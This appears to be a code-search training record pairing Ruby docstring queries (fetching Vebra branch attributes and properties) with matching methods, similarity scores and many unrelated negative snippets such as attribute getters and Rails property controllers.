"def show\n # @address = Address.find(params[:id])\n @address = Address.find_by_permalink!(params[:id])\n @address.revert_to(params[:version].to_i) if params[:version]\n add_crumb @address.usable, @address\n \n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @address }\n end\n end",
"def initialize(from)\n super Nokogiri::XML(from)\n scope '/rfc'\n end",
"def create_branch(branch)\n client.create_ref repo, \"heads/#{branch}\", base_sha\n end",
"def branch(version = Origen.app.version.prefixed)\n version = VersionString.new(version)\n version = version.prefixed if version.semantic?\n capture = false\n File.readlines(\"#{Origen.root}/doc/history\").each do |line|\n line = line.strip\n if capture\n if capture && line =~ /^#+ .*(Selector|Branch): '(.*)'/\n return Regexp.last_match(2).gsub('\\\\', '')\n end\n else\n if line =~ /Tag:/\n line = line.gsub('\\\\', '')\n if line =~ /^#+ Tag: #{version}$/ ||\n line =~ />Tag: #{version}</\n capture = true\n end\n end\n end\n end\n nil\n end",
"def xml_to_vin(query_response)\n return Lynr::Model::Vin.inflate(nil) if query_response.nil?\n us_data = query_response.find_first('.//us_market_data/common_us_data')\n basic_data = query_response.find_first('.//us_market_data/common_us_data/basic_data')\n Lynr::Model::Vin.new(\n 'year' => content(basic_data, './year'),\n 'make' => content(basic_data, './make'),\n 'model' => get_model(basic_data),\n 'transmission' => content(us_data, './/transmission/type'),\n 'fuel' => content(us_data, './/fuel_type'),\n 'doors' => content(us_data, './/doors'),\n 'drivetrain' => content(us_data, './/drive_type'),\n 'number' => query_response['identifier'],\n 'raw' => query_response.to_s\n )\n end",
"def initialize()\n\t\t@url = \"http://lcboapi.com/products\"\n\t\t@id = 0\n\t\t@term = \"\"\n\t\t@result = []\n\t\t@single = {}\n\tend",
"def node; end",
"def node; end",
"def node; end",
"def node; end",
"def node; end",
"def node; end",
"def node; end",
"def node; end",
"def node; end",
"def node; end",
"def node; end",
"def node; end",
"def node; end",
"def node; end",
"def node; end",
"def node; end",
"def node; end",
"def node; end",
"def node; end",
"def node; end"
] | [
"0.74870765",
"0.5863478",
"0.57034814",
"0.5693569",
"0.5659204",
"0.55475277",
"0.5510387",
"0.5474704",
"0.5452194",
"0.54170513",
"0.5372635",
"0.535761",
"0.535761",
"0.535761",
"0.535761",
"0.535761",
"0.535761",
"0.535761",
"0.535761",
"0.535761",
"0.5353947",
"0.5339194",
"0.5324883",
"0.53054667",
"0.5301467",
"0.52867126",
"0.5253847",
"0.52434665",
"0.522562",
"0.5218233",
"0.5202074",
"0.5202074",
"0.51925373",
"0.5182713",
"0.5179578",
"0.51684594",
"0.51663214",
"0.51663214",
"0.512096",
"0.5094708",
"0.5090196",
"0.5079971",
"0.50702447",
"0.50647646",
"0.5063753",
"0.50433964",
"0.5036962",
"0.50354916",
"0.5034873",
"0.5022825",
"0.50120664",
"0.50113386",
"0.50059295",
"0.4994434",
"0.4989836",
"0.4984124",
"0.4982836",
"0.49822652",
"0.4979699",
"0.49768117",
"0.4975065",
"0.49724445",
"0.4970811",
"0.4969597",
"0.49551293",
"0.49540314",
"0.49409398",
"0.49409264",
"0.49401158",
"0.49394694",
"0.49394694",
"0.4937628",
"0.49374402",
"0.49229613",
"0.49183184",
"0.49152485",
"0.49138734",
"0.49082598",
"0.49043727",
"0.49020073",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825",
"0.48951825"
] | 0.6189112 | 1 |
Retrieve the full set of attributes for this branch | def get_branch
nokogiri_xml_full = client.call(attributes[:url]).parsed_response
@xml = nokogiri_xml_full.to_xml
nokogiri_xml = nokogiri_xml_full.css('branch')
@attributes.merge!(Vebra.parse(nokogiri_xml))
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_attributes\n\t\t\t@@attributes\n\t\tend",
"def attributes\n @attributes ||= []\n @attributes\n end",
"def attributes\n @attributes ||= []\n end",
"def attributes\n @attribute_ids.collect { |idx| BAttribute.store[idx] }\n end",
"def attributes\n @attributes ||= Set.new\n end",
"def attributes\n load_attributes! unless attributes_loaded?\n @attributes.values\n end",
"def attributes\n @attributes ||= {}\n @attributes\n end",
"def attributes\n @attributes\n end",
"def attributes\n @attributes\n end",
"def attributes\n @attributes\n end",
"def attributes\n {\n branch: to_s,\n status: status,\n release_date: release_date,\n eol_date: eol_date,\n latest: latest.to_s,\n releases: releases.map(&:to_s)\n }\n end",
"def attributes\n {\n release: to_s,\n branch: branch.to_s,\n status: status,\n release_date: release_date,\n latest: latest?,\n prerelease: prerelease?\n }\n end",
"def attributes\n @attributes ||= sort.reverse.inject({}) do |final, (_, changeset)|\n changeset.merge(final)\n end\n end",
"def attributes\n @_attributes\n end",
"def attributes\n if @attributes.empty?\n fetch_configuration()\n end\n return @attributes\n end",
"def attributes\n @attrs\n end",
"def attributes\n ATTRIBUTES\n end",
"def attributes\n @_attributes\n end",
"def bt_value_attributes\n attributes.slice(*(self.class.bt_scope_columns + self.class.bt_versioned_columns))\n end",
"def attributes\n []\n end",
"def get_attributes\n necessary_attributes = PageVersioning::Config[klass + '_revision_attributes']\n attributes = self.attributes\n attributes.delete_if { |key, value| !necessary_attributes.include?(key) }\n attributes\n end",
"def attributes\n @list.map(&:attributes)\n end",
"def attributes\n @@attributes\n end",
"def attribs\n\t\t@attributes\n\tend",
"def full_attributes \n self.class.attributes\n end",
"def attributes\n @attributes\n end",
"def list_attributes\n if @attributes.empty?\n fetch_configuration()\n end\n return @attributes.keys\n end",
"def attributes; @attributes ||= []; end",
"def attributes\n @attrs.keys\n end",
"def attributes\n full_attributes.to_hash(self)\n end",
"def attributes\n @attributes = { } if !instance_variable_defined?(:@attributes) or @attributes.nil?\n @attributes\n end",
"def attributes\n @attributes\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n data[:attributes]\n end",
"def attributes\n self._attributes.inject({}) do |hash, attr|\n hash[attr.to_s] = send(attr)\n hash\n end\n end",
"def attributes\n @attributes = @attributes || {}\n end",
"def attributes\n @build['attributes']\n end",
"def attributes\n end",
"def bt_scope_attributes\n attributes.slice(*self.class.bt_scope_columns)\n end",
"def attributes\n self.class::ATTRIBUTES\n end",
"def attrs\n @attrs\n end",
"def attributes_get\n h = {}\n self.class.attributes.each do |a|\n h[a] = attribute_get(a)\n end\n h\n end",
"def attributes_get\n h = {}\n self.class.attributes.each do |a|\n h[a] = attribute_get(a)\n end\n h\n end",
"def attrs\n @attrs\n end",
"def attributes\n @attributes ||= self.class.class_attributes.clone\n end",
"def base_attributes\n kind.attributes\n end",
"def bt_versioned_attributes\n attributes.slice(*self.class.bt_versioned_columns)\n end",
"def attributes\n self.class.class_variable_get(:@@attributes)\n end",
"def attributes\n ATTRIBUTE_NAMES\n end",
"def attributes; end",
"def attributes; end",
"def attributes; end",
"def attributes; end",
"def attributes; end",
"def attributes; end",
"def attributes; end",
"def attributes; end",
"def attributes; end",
"def attributes; end",
"def attributes; end",
"def attributes\n @attributes ||= descriptors_fields.select{|field| field.scope == ATTRIBUTE_FIELDS }\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n attrs = Hash.new\n attribute_list.each do |attribute|\n value = self.send(attribute)\n attrs[attribute] = value unless value.nil?\n end\n attrs\n end",
"def attributes\n @attributes ||= get_field_by_type(ATTRIBUTE_FIELDS)\n end",
"def attrs\r\n @attrs ||= Utils.deep_merge(@attributes, _package_.env)\r\n end",
"def attributes\n @attributes ||= {}.freeze\n end",
"def _attributes\n @_attributes = superclass.try(:_attributes)&.dup || {} unless defined?(@_attributes)\n @_attributes\n end",
"def attributes # :nodoc:\n @attributes ||= {}\n end",
"def bmAttributes\n self[:bmAttributes]\n end",
"def attributes\n @attributes ||= @internal_struct[:attributes]\n end",
"def attributes\n (@original_attributes||{}).merge(@attributes).keys.inject({}) do |hash, key|\n hash[key] = read_attribute(key)\n hash\n end\n end",
"def attributes\n self.class.attributes\n end",
"def object_attributes\n []\n end",
"def attributes_to_set\n []\n end",
"def attributes\n end",
"def all_attributes\n the_attrs = Hash[accessors.collect {|v| [v, send(v.to_s)] if respond_to? \"#{v}\".to_sym}]\n (respond_to?(:attributes) && attributes.merge(the_attrs)) || the_attrs\n end",
"def attributes\n @_attributes ||= Hash.new.with_indifferent_access\n end",
"def hash\n @attrs\n end",
"def attributes\n hash = HashWithIndifferentAccess.new\n\n self.class.attribute_names.each_with_object(hash) do |name, attrs|\n attrs[name] = read_attribute(name)\n end\n end",
"def attributes\n ATTRIBUTES.inject({}) do |hash, attribute|\n hash[attribute] = self.send(attribute)\n hash\n end\n end",
"def attributes\n ATTRIBUTES.inject({}) do |hash, attribute|\n hash[attribute] = self.send(attribute)\n hash\n end\n end",
"def attributes\n # leave the original alone\n @attributes_copy ||= @attributes.dup\n end",
"def attributes\n Address.attribute_list.index_with { |_attr| nil }\n end",
"def attributes\n model_attributes(@@setters_list)\n end",
"def attributes\n model_attributes(@@setters_list)\n end",
"def attributes\n model_attributes(@@setters_list)\n end",
"def attributes\n model_attributes(@@setters_list)\n end",
"def attributes\n model_attributes(@@setters_list)\n end",
"def attributes\n model_attributes(@@setters_list)\n end",
"def attributes\n\t\treturn attributes_of @current_node\n\tend",
"def attribute_list\n [:id, :version, :uid, :user, :timestamp, :lon, :lat, :changeset]\n end",
"def attributes\n node[1]\n end",
"def attributes\n {id: nil, max_occupancy: 5, status: status, current_occupancy: current_occupancy}\n end",
"def attributes\n _fast_attributes\n\n rescue NameError\n\n method = \"def _fast_attributes\\n\"\n method << \" @_attributes ||=\\n\"\n method << \" begin\\n\"\n method << \" h = {}\\n\"\n\n self.class.attributes.each do |name|\n method << \" h[:\\\"#{name}\\\"] = send(:\\\"#{name}\\\") if include_#{name}?\\n\"\n end\n\n method << \" h\\n\"\n method << \" end\\n\"\n method << \"end\"\n\n self.class.class_eval method\n\n _fast_attributes\n end",
"def attributes\n @cache[:attributes]\n end"
] | [
"0.7222328",
"0.7069748",
"0.69630814",
"0.6951119",
"0.6917646",
"0.6855659",
"0.6839134",
"0.678554",
"0.678554",
"0.678554",
"0.67562777",
"0.6754996",
"0.67384744",
"0.6738292",
"0.6725228",
"0.67169064",
"0.67017645",
"0.6695742",
"0.6645315",
"0.6617429",
"0.6610915",
"0.6606326",
"0.65989554",
"0.6595228",
"0.65911585",
"0.65838057",
"0.6573618",
"0.65627223",
"0.6560902",
"0.6558076",
"0.6556833",
"0.6548107",
"0.65422773",
"0.65422773",
"0.65422773",
"0.65387756",
"0.64824563",
"0.64767617",
"0.64721966",
"0.6453071",
"0.6441955",
"0.64381003",
"0.6431064",
"0.641094",
"0.641094",
"0.6410231",
"0.6377929",
"0.6374374",
"0.63711065",
"0.6370419",
"0.6359023",
"0.6353646",
"0.6353646",
"0.6353646",
"0.6353646",
"0.6353646",
"0.6353646",
"0.6353646",
"0.6353646",
"0.6353646",
"0.6353646",
"0.6353646",
"0.63517565",
"0.6350106",
"0.6350106",
"0.6350106",
"0.6350106",
"0.6350106",
"0.63494796",
"0.6336033",
"0.6321417",
"0.63106364",
"0.63000244",
"0.62982804",
"0.6297341",
"0.62857705",
"0.62848824",
"0.62828606",
"0.6273242",
"0.62697446",
"0.62691873",
"0.62683046",
"0.62649745",
"0.62616515",
"0.6258743",
"0.62477356",
"0.62477356",
"0.6228975",
"0.6228099",
"0.6226175",
"0.6226175",
"0.6226175",
"0.6226175",
"0.6226175",
"0.6226175",
"0.6225712",
"0.6216703",
"0.6212851",
"0.6212293",
"0.6204672",
"0.62045074"
] | 0.0 | -1 |
Call the API method to retrieve a collection of properties for this branch, and build a Vebra::Property object for each | def get_properties
xml = client.call("#{attributes[:url]}/property").parsed_response
xml.css('properties property').map { |p| Vebra::Property.new(p, self) }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def build_properties\n properties.each do |key,val|\n prop = listing_properties.find_or_initialize_by(key:key)\n prop.value = val\n\n end\n end",
"def properties\n # vendor = Vendor.find(params[:vendor_id])\n search_params = { vendor_id: params[:vendor_id].to_i, results_per_page: 150 }\n search_params[:p] = params[:p].to_i if params[:p]\n pd = PropertySearchApi.new(filtered_params: search_params )\n pd.query[:size] = 1000\n results, status = pd.filter\n results[:results].each { |e| e[:address] = PropertyDetails.address(e) }\n response = results[:results].map { |e| e.slice(:udprn, :address) }\n response = response.sort_by{ |t| t[:address] }\n #Rails.logger.info \"sending response for vendor properties -> #{response.inspect}\"\n render json: response, status: status\n end",
"def update_properties!(branch_id=nil)\n properties = fetch_properties(false, branch_id)\n length = properties.length\n counter = 0\n properties.each do |property|\n counter += 1\n if Vebra.debugging?\n puts \"[Vebra]: #{counter}/#{length}: live updating property with Vebra ref: #{property.attributes[:vebra_ref]}\"\n end\n live_update!(property)\n Vebra.set_last_updated_at(Time.now) if counter == length\n end\n end",
"def getBranchPropertyList(branchId)\n return true\n end",
"def build_property\n property = Entities::Property.new(\n id: property_hash.get(\"ID\"),\n title: property_hash.get(\"Name\"),\n lat: property_hash.get(\"Coordinates.Latitude\").to_f,\n lng: property_hash.get(\"Coordinates.Longitude\").to_f,\n address: property_hash.get(\"Street\"),\n postal_code: property_hash.get(\"ZipCode\").to_s.strip,\n max_guests: property_hash.get(\"CanSleepMax\").to_i,\n bedroom_type_id: property_hash.get(\"PropertyTypeID\"),\n property_type_id: property_hash.get(\"ObjectTypeID\"),\n active: property_hash.get(\"IsActive\"),\n archived: property_hash.get(\"IsArchived\"),\n surface: property_hash.get(\"Space\").to_i,\n owner_id: property_hash.get(\"OwnerID\"),\n security_deposit_amount: property_hash.get(\"SecurityDeposit\").to_f,\n security_deposit_type: security_deposit_type,\n check_in_time: check_in_time,\n check_out_time: check_out_time,\n check_in_instructions: check_in_instructions,\n floor: floor,\n description: en_description(property_hash),\n images: build_images,\n amenities: build_amenities,\n number_of_bathrooms: number_of_bathrooms,\n number_of_single_beds: beds_count(SINGLE_BED_CODES),\n number_of_double_beds: beds_count(DOUBLE_BED_CODES),\n number_of_sofa_beds: beds_count(SOFA_BED_CODES),\n late_arrival_fees: late_arrival_fees,\n early_departure_fees: early_departure_fees,\n )\n\n property\n end",
"def index\n @api_v1_properties = Api::V1::Property.all\n end",
"def available_properties\n @properties ||= list.properties\n end",
"def all\n @all ||= property_hashes.map do |hash|\n Entities::PropertyType.new(\n id: hash[\"id\"],\n name: hash[\"rentals_united_name\"],\n roomorama_name: hash[\"roomorama_name\"],\n roomorama_subtype_name: hash[\"roomorama_subtype_name\"]\n )\n end\n end",
"def assign_properties\n self.properties ||= {}\n listing_properties.each do |prop|\n self.properties[prop.key] ||= prop.value\n end\n end",
"def index\n @properties = Property.get_all(params[\"city\"], params[\"country\"])\n end",
"def my_properties\n @api_v1_properties = current_api_v1_user.properties.\n includes(:reservations).\n order(\"reservations.created_at DESC\")\n\n render template: '/api/v1/properties/index', status: 200\n end",
"def properties\n properties = []\n relations = self.property_relations\n relations.each do |relationship|\n properties.push relationship.property\n end\n properties\n end",
"def relationship_get_all_props id\n headers = {\n 'Accept' => 'application/json; charset=UTF-8',\n }\n get_request 'relationship/' + id + '/properties', headers\n end",
"def web_properties\n WebProperty.all(:account => self)\n end",
"def convert_to_property\n json = JSON.load_file(@file_path, symbolize_names: true)\n properties = []\n json.each {|prop| \n new_property = Property.new(prop[:type], prop[:weekly_rent], prop[:landlord], prop[:tenant], prop[:address], prop[:status])\n properties.push(new_property)\n }\n return properties\n end",
"def web_properties\n Management::WebProperty.all(self)\n end",
"def set_property\n @property = Property.includes(:feed, :floorplans).find(params[:id])\n end",
"def properties\n @properties = PropertyList.new(self.prototype) if @properties.nil?\n @properties\n end",
"def property_properties\n _property_properties\n end",
"def index\n @current_api_v1_user = current_api_v1_user\n @api_v1_properties = Property.all\n end",
"def properties\n PropertySet.new(query.fields)\n end",
"def building_list(property_id)\n perform_get_request(\"/property/#{property_id}/building/list\")\n end",
"def get_properties()\n return @properties\n end",
"def get_properties\n response = client.command(\n Protocol::Runtime.get_properties(\n object_id: remote_object[\"objectId\"],\n own_properties: true\n )\n ).value!\n response[\"result\"].each_with_object({}) do |property, memo|\n next unless property[\"enumerable\"]\n\n memo[property[\"name\"]] = JSHandle.create_js_handle context, property[\"value\"]\n end\n end",
"def featured\n properties = []\n begin\n # Try to get the 3 properties with priority flag\n Property.where(priority: true, status: :active).order('RANDOM()').limit(3).each { |p| properties << p }\n\n # Get the missing properties\n missing = 3 - properties.count\n Property.where(priority: false, status: :active).order('RANDOM()').limit(missing).each { |p| properties << p } if missing > 0\n\n @api_v1_properties = properties\n\n render template: '/api/v1/properties/index', status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end\n end",
"def process_properties(properties); end",
"def set_property\n @property = Property\n .includes(:property_type, {features_properties: [:feature]}, :photos)\n .friendly\n .find(params[:id])\n end",
"def fetch_properties(host)\n fetcher = Commands::PropertiesFetcher.new(credentials)\n fetcher.call(mc_id: host.identifier)\n end",
"def my_properties\n @api_v1_properties = current_api_v1_user.properties\n .includes(:reservations)\n .order('reservations.created_at DESC')\n\n render template: '/api/v1/properties/index', status: 200\n end",
"def properties=(value)\n @properties = value\n end",
"def add_properties\n # TODO smart column ordering to ensure always valid by time we get to associations\n save_if_new\n\n property_list = get_each_assoc#current_value.split(Delimiters::multi_assoc_delim)\n\n property_list.each do |pstr|\n\n # Special case, we know we lookup on name so operator is effectively the name to lookup\n find_by_name, find_by_value = get_find_operator_and_rest( pstr )\n\n raise \"Cannot find Property via #{find_by_name} (with value #{find_by_value})\" unless(find_by_name)\n\n property = @@property_klass.find_by_name(find_by_name)\n\n unless property\n property = @@property_klass.create( :name => find_by_name, :presentation => find_by_name.humanize)\n logger.info \"Created New Property #{property.inspect}\"\n end\n\n if(property)\n if(SpreeHelper::version.to_f >= 1.1)\n # Property now protected from mass assignment\n x = @@product_property_klass.new( :value => find_by_value )\n x.property = property\n x.save\n @product.product_properties << x\n logger.info \"Created New ProductProperty #{x.inspect}\"\n else\n @product.product_properties << @@product_property_klass.create( :property => property, :value => find_by_values)\n end\n else\n puts \"WARNING: Property #{find_by_name} NOT found - Not set Product\"\n end\n\n end\n\n end",
"def get_property\n @xml = client.call(url).parsed_response.css('property').first\n @attributes.merge!(parse_xml_to_hash)\n end",
"def properties(&block)\n if !@content\n @content = Azure::Atom::Content.new\n @m_properties = Azure::Atom::PropertyList.new\n @content << @m_properties\n end\n\n yield @m_properties if block_given?\n\n @m_properties\n end",
"def property_definitions\n set_attributes_for(PropertyDefinition)\n PropertyDefinition.find(:all)\n end",
"def read_properties\n buf = ''\n File.open( properties_file, 'r' ) { |f| buf = f.read }\n h = JSON.parse(buf, {:symbolize_names => true})\n @name = h.delete(:name).to_s\n @created= h.delete(:created).to_s\n @description = h.delete(:description).to_s\n @repo_properties = h\n end",
"def index\n @client_properties = ClientProperty.all\n end",
"def index\n @properties = @products.map(&:properties).flatten.uniq\n end",
"def properties\n @properties\n end",
"def properties\n @properties\n end",
"def index\n\t\t@properties = Property.all\n\tend",
"def properties\n _properties\n end",
"def featured\n properties = []\n begin\n # Tenta pegar 3 propriedades com a flag de prioridade\n Property.where(priority: true, status: :active).order(\"RANDOM()\").limit(3).each {|p| properties << p}\n # Verifica quantas propriedades faltam pra completar 3\n missing = 3 - properties.count\n # Pega as propriedades faltantes caso existam\n Property.where(status: :active).order(\"RANDOM()\").limit(missing).each {|p| properties << p} if missing > 0\n\n @api_v1_properties = properties\n\n render template: '/api/v1/properties/index', status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end\n end",
"def add_properties\n # TODO smart column ordering to ensure always valid by time we get to associations\n product_load_object.save_if_new\n\n property_list = value.to_s.split(multi_assoc_delim)\n\n property_list.each do |property_string|\n\n # Special case, we know we lookup on name so operator is effectively the name to lookup\n\n # split into usable parts ; size:large or colour:red,green,blue\n find_by_name, find_by_value = property_string.split(name_value_delim)\n\n raise \"Cannot find Property via #{find_by_name} (with value #{find_by_value})\" unless(find_by_name)\n\n property = Spree::Property.where(:name => find_by_name).first\n\n unless property\n property = property_klass.create( :name => find_by_name, :presentation => find_by_name.humanize)\n logger.info \"Created New Property #{property.inspect}\"\n end\n\n if(property)\n # Property now protected from mass assignment\n x = product_property_klass.new( :value => find_by_value )\n x.property = property\n x.save\n @product_load_object.product_properties << x\n logger.info \"Created New ProductProperty #{x.inspect}\"\n else\n puts \"WARNING: Property #{find_by_name} NOT found - Not set Product\"\n end\n\n end\n\n end",
"def parse_properties(element, properties)\n properties.each_pair do |name, prop_fields|\n if name == 'UserData'\n # Special case\n code = extract_code(prop_fields)\n element << CFDoc::Model::Property.new(name, CFDoc::Model::UserData.new(name, code))\n elsif name.match(REF_REGEX)\n # TODO: resolve - we may need to wait, as some are a forward-reference and haven't been parsed yet. Perhaps another pass? Or, resolve on demand?\n ref = CFDoc::Model::Ref.new(prop_fields)\n if element.property?\n element.value = ref\n else\n element << ref\n end\n elsif name.match(FUNCTION_REGEX)\n func = CFDoc::Model::Function.new(name)\n parse_function(func, prop_fields)\n element << func\n elsif prop_fields.kind_of?(Hash)\n prop = CFDoc::Model::Property.new(name)\n parse_properties(prop, prop_fields)\n element << prop\n elsif prop_fields.kind_of?(Array)\n prop = CFDoc::Model::Property.new(name)\n list = CFDoc::Model::List.new(nil) # no name for lists that are used as values for a property\n prop_fields.each do |item|\n if item.kind_of?(Hash)\n # recurse the hash, allowing subsequent calls to fill the list with properties (and possibly nested properties)\n parse_properties(list, item)\n else\n list.items << item\n end\n end\n prop.value = list\n element << prop\n elsif prop_fields.kind_of?(String)\n prop = CFDoc::Model::Property.new(name, prop_fields)\n element << prop\n end\n end\n element\n end",
"def refresh\n self.class.base_properties.each_with_index do |prop, prop_id|\n @properties[prop] = get_property(prop_id)\n end\n refresh_features\n refresh_status\n refresh_config\n self\n end",
"def index\n @r_property_definitions = RPropertyDefinition.all\n end",
"def set_property\n @property = Property.all\n end",
"def properties\n rev_properties.merge(svn_properties).merge(yaml_properties)\n end",
"def properties\n @properties ||= Properties.new self\n end",
"def properties(path, property_names)\n result = properties_for_path(path, property_names, 0)\n if result[0].key?(200)\n return result[0][200]\n else\n return []\n end\n end",
"def query\n @property_hash\n end",
"def properties\n model.properties\n end",
"def index\n @properties = Property.with_deleted.where(id: AccessResource.get_ids(resource_klass: 'Property', user: current_user))\n @properties = @properties.where(deleted_at: nil) unless params[:trashed].to_b\n @properties = @properties.where.not(deleted_at: nil) if params[:trashed].to_b\n @last = @properties.try(:last).try(:id) || 0\n if params[\"purchased\"]\n if ((params[\"purchased\"][\"accepted\"] == \"1\") && (params[\"prospective_purchase\"][\"accepted\"] == \"1\"))\n elsif ((params[\"purchased\"][\"accepted\"] == \"0\") && (params[\"prospective_purchase\"][\"accepted\"] == \"0\"))\n @properties = @properties.where.not(ownership_status: ['Prospective Purchase', 'Purchased'])\n else\n @properties = @properties.where(ownership_status: 'Purchased') if params[\"purchased\"][\"accepted\"] == \"1\"\n @properties = @properties.where(ownership_status: 'Prospective Purchase') if params[\"prospective_purchase\"][\"accepted\"] == \"1\"\n end\n end\n @properties = @properties.order(created_at: :desc).paginate(page: params[:page], per_page: sessioned_per_page)\n @activeId = params[:active_id]\n \n render template: 'properties/xhr_list', layout: false if request.xhr?\n end",
"def index\n @properties = Property.order(:id).page (params[:page])\n end",
"def index\n @line_properties = @category.line_properties.all\n end",
"def properties(path, ctype=DEFAULT_CTYPE)\n node = metadata(path, ctype, :properties)[:properties]\n node ? node.contents : @metadata_tree.default_data(:properties)\n end",
"def getProperties\n Category.select(:id)\n end",
"def properties\n return @values['properties'] if @values.key?('properties')\n @values['properties'] = {}\n @values['properties']\n end",
"def properties\n []\n end",
"def property_keys\n headers = { 'Accept' => 'application/json; charset=UTF-8' }\n get_request 'propertykeys', headers\n end",
"def values_for_properties; end",
"def expand_properties\n @properties.each do |key,value|\n value.expand_to_element self\n end\n end",
"def get_properties()\n resp = conn.get('/users/'+name+'/props/')\n \n case resp.code.to_i\n when 200\n return JSON.parse(resp.body)\n when 404\n raise RestAuthUserNotFound.new( resp )\n else\n raise RestAuthUnknownStatus.new( rest )\n end\n end",
"def recent_properties_for_claim(status=nil, property_for='Sale', buyer_id=nil, search_str=nil, is_premium=false, page_number=1, owned_property=nil, count=false, latest_time=nil)\n ### District of that branch\n branch = self.branch\n district = branch.district\n query = Agents::Branches::AssignedAgents::Lead\n vendor = PropertyBuyer.where(id: buyer_id).select(:vendor_id).first if buyer_id\n vendor_id = vendor.vendor_id if vendor\n vendor_id ||= nil\n source_mailshot = Agents::Branches::AssignedAgents::Lead::SOURCE_MAP[:mailshot]\n branch_id = self.branch_id\n\n if !self.locked\n query = query.where('created_at > ?', Time.parse(latest_time)) if latest_time\n query = query.where(vendor_id: vendor_id) if buyer_id\n query = query.where(owned_property: owned_property) if !owned_property.nil?\n query = query.where(\"(((district = ? AND owned_property = 'f') OR (owned_property='t' AND agent_id = ?)) AND source is null ) OR ( source = ? AND pre_agent_id = ? )\", district, self.id, source_mailshot, self.id)\n \n if search_str && is_premium\n udprns = Enquiries::PropertyService.fetch_udprns(search_str)\n udprns = udprns.map(&:to_i)\n query = query.where(property_id: udprns)\n end\n \n if status == 'New'\n query = query.where(agent_id: nil)\n elsif status == 'Won'\n query = query.where(agent_id: self.id)\n elsif status == 'Lost'\n query = query.where.not(agent_id: self.id).where.not(agent_id: nil)\n end\n\n Rails.logger.info(\"QUERY_#{query.to_sql}\")\n\n if self.is_premium\n leads = query.order('created_at DESC')\n results = leads.map{|lead| populate_lead_details(lead, status) }\n return results, results.count\n else\n count = query.count\n page_number ||= 1\n page_number = page_number.to_i\n page_number -= 1\n leads = query.order('created_at DESC').limit(PAGE_SIZE).offset(page_number.to_i*PAGE_SIZE)\n results = leads.map{|lead| populate_lead_details(lead, status) }\n return results, count\n end\n else\n return [], 0\n end\n\n end",
"def index\n @chef_properties = ChefProperty.all\n end",
"def properties\n @properties ||=\n Hash[Array(@grpc.properties).map { |p| [p.name, p.value] }]\n end",
"def properties\n self.persistent_class.property_iterator.to_a.inject({}) do |h, value|\n if !value.respond_to?(:getRubyValue)\n h[value.name] = value\n end\n h\n end\n end",
"def properties\n @properties ||= {}\n end",
"def fetch_external\n object.controlled_properties.each do |property|\n object[property].each do |value|\n resource = value.respond_to?(:resource) ? value.resource : value\n next unless resource.is_a?(ActiveTriples::Resource)\n next if value.is_a?(ActiveFedora::Base)\n fetch_with_persistence(resource)\n end\n end\n end",
"def index\n @properties = Property.all\n end",
"def index\n @properties = Property.all\n end",
"def index\n @properties = Property.all\n end",
"def index\n @properties = Property.all\n end",
"def index\n @properties = Property.all\n end",
"def index\n @properties = Property.all\n end",
"def properties\n return @properties\n end",
"def relationship_get_property id, name\n headers = {\n 'Accept' => 'application/json; charset=UTF-8',\n }\n\n get_request 'relationship/' + id + '/properties/' + name, headers\n end",
"def properties\n []\n end",
"def properties\n @properties ||= {}\n end",
"def properties_via(group)\n properties = []\n property_relations_via(group).each do |relationship|\n property = relationship.property\n properties.push(property)\n end\n properties\n end",
"def properties\n @properties ||= {}\n end",
"def properties\n @properties ||= {}\n end",
"def index\n if params[:ax] && params[:ay] && params[:bx] && params[:by]\n @properties = Property.find_by_coordinates(\n upper_x: params[:ax],\n upper_y: params[:ay],\n bottom_x: params[:bx],\n bottom_y: params[:by]\n )\n else\n @properties = Property.all #in this case is much necessary to implement pagination system\n end\n\n respond_with :api, :v1, @properties, status: :ok\n end",
"def properties\n object = orientdb.get_class_properties self\n {:properties => object['properties'], :indexes => object['indexes']}\n end",
"def index\n\t\t@items_per_page = 100\n\t @latest_properties = Property.all_sort_by_date_skip_first\n\t @locations = Property.locations\n\t\t@properties = Property.order_and_paginated(params[:page], @items_per_page)\n\t\t\n\tend",
"def properties\n @properties = Ken::Collection.new\n types.each do |type|\n @properties.concat(type.properties)\n end\n @properties\n end",
"def index\n @property_details = PropertyDetail.all\n end",
"def returning(*properties)\n @options['=.proplist'] ||= []\n properties.each do |property|\n @options['=.proplist'] << \"#{property}\"\n end\n self\n end",
"def props\n ret = {\"_neo_id\" => getId()}\n iter = getPropertyKeys.iterator\n while (iter.hasNext) do\n key = iter.next\n ret[key] = getProperty(key)\n end\n ret\n end",
"def properties\n $properties ||= Properties.new\n end",
"def properties; end",
"def properties; end",
"def properties; end",
"def properties; end",
"def properties; end",
"def properties; end",
"def properties; end",
"def properties; end",
"def merge_properties( properties_list )\n props = ::Yacl::Properties.new\n properties_list.reverse.each do |p|\n props.merge!( p )\n end\n return props\n end",
"def get_variant_properties_from_product\n vpv = []\n self.variant_variant_property_values.each do |vvpv|\n if !vvpv.variant_property_value.nil?\n vpv << vvpv.variant_property_value.variant_property_id\n end\n end\n self.product.variant_properties.each do |vp|\n self.variant_variant_property_values.build(:variant_property_value => vp.variant_property_values.first) unless vpv.include?(vp.id)#self.variant_variant_property_values.map(&:variant_property_value_id).include?(vp.variant_property_values.first.id)\n end\n end"
] | [
"0.65887845",
"0.65752155",
"0.65145075",
"0.649212",
"0.6491012",
"0.6193657",
"0.6073973",
"0.6068773",
"0.5900388",
"0.5889938",
"0.5887827",
"0.58727545",
"0.58642715",
"0.586362",
"0.5848836",
"0.5835323",
"0.5824019",
"0.5823862",
"0.57352656",
"0.57250553",
"0.57178706",
